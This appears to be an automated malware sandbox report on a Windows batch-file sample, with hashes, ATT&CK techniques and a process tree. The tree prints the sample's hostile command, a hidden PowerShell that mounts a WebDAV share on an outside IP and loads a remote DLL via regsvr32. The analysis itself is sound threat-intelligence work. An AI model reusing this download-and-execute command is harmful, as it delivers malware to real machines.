eb1a711124be7a44e434e24ff215fd0db698ef6df6754342efb6632263ed8d7d

Analysis

max time kernel
142s
max time network
108s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
22/07/2024, 22:08

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General

Target
656118615549517891.bat
Size 7KB
Sample240722-12cgts1bqa
SHA256 eb1a711124be7a44e434e24ff215fd0db698ef6df6754342efb6632263ed8d7d
MD5 ab57bdebd0aa7e52dee5bd0e03933fc8
SHA1 fc85ff53765efe270b49cae0020f528a6dd0bb74
SHA512 6886de4368336d870c824705bd7a61b61dfc38091480b61e9ab30b2038dc576c69dfcf230ec36b3cb83040fc652618ce1db2a0711da74cc65da0c890e4cc380c
SSDEEP 192:RGx+sAmt2T8o9fDM20x06piSgALhg5mGmARU:RGxHAm88o9Z2GmAy
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4384	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4384	powershell.exe
4384	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4384	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3172	wordpad.exe
3172	wordpad.exe
3172	wordpad.exe
3172	wordpad.exe
3172	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3952 wrote to memory of 3172	3952	cmd.exe	85
PID 3952 wrote to memory of 3172	3952	cmd.exe	85
PID 3952 wrote to memory of 4384	3952	cmd.exe	87
PID 3952 wrote to memory of 4384	3952	cmd.exe	87
PID 4384 wrote to memory of 3600	4384	powershell.exe	89
PID 4384 wrote to memory of 3600	4384	powershell.exe	89
PID 4384 wrote to memory of 2156	4384	powershell.exe	90
PID 4384 wrote to memory of 2156	4384	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\656118615549517891.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3952
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\19146798716654.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4384
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:3600
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\19146798716654.dll
    3⤵
    PID:2156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:1212

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_pr1gy3vu.kc5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pr1gy3vu.kc5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4384-6-0x0000023AC2FE0000-0x0000023AC3002000-memory.dmp

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